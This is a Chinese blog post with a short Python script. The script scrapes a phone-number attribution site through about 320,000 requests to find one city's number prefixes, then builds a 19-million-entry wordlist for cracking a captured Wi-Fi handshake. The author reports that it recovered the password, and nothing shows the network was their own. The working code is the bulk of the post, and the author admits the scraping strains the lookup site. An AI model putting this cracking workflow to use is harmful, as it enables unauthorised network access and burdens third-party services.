使用python爬取号码归属地列表,制作握手包破解字典

前段时间抓了一个握手包,使用网上的字典没有破解,个人猜想现在大部分人会使用自己的手机号码作为密码,但从网上找到的字典没有专门针对某个市的电话号码,就想自己制作一个。

到网上搜了一下号码归属地数据库,免费的更新时间已经过去好几年了,又不想自己花钱,发现部分网站提供了在线查询功能,且数据比较新,就想可以用穷举法得到号码归属地数据库。

因为刚开始学习python,这是第一篇学习笔记,程序还有很多不规范的地方,请看到的大神们提出改进建议。

最后结果是进行了32万次页面请求,属于我们市的号码条数1932条,生成破解字典1932万条记录,顺利找到密码。

如非特殊需要,请慎重运行程序,会对数据查询网站造成冲击,我是在晚上开机6个小时才跑完的。

import requests
import re
#电话号码列表,不多,手写
phonelist = [134,135,136,137,138,139,147,150,151,152,157,158,159,178,182,183,184,187,188,186,185,156,131,130,155,132,176,133,153,181,189,177]
dzlist = []   #  定义前7位的列表,初始值为空
for i in phonelist:
    for j in range(0, 10000):
        url = 'http://www.ip138.com:8080/search.asp?mobile=' + str(i) + str("%04d" % j) + '&action=mobile'
        html = requests.get(url).content
        html_doc = str(html, 'gb2312')  #读取每个7位数的返回文本
        if str('某某市') in html_doc:   #如果返回文本包含某某市,则添加到列表中
            dzlist = dzlist + re.findall(r'class=tdc2>(\d\d\d\d\d\d\d) <a href',html_doc)
# 下面根据列表生成字典
pjzd = open(r'd:\phone_zd.txt','a')
for m in dzlist:
    for n in range(0,10000):
        pjzd.write(m+"%04d" %n+'\n')
pjzd.close()



  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值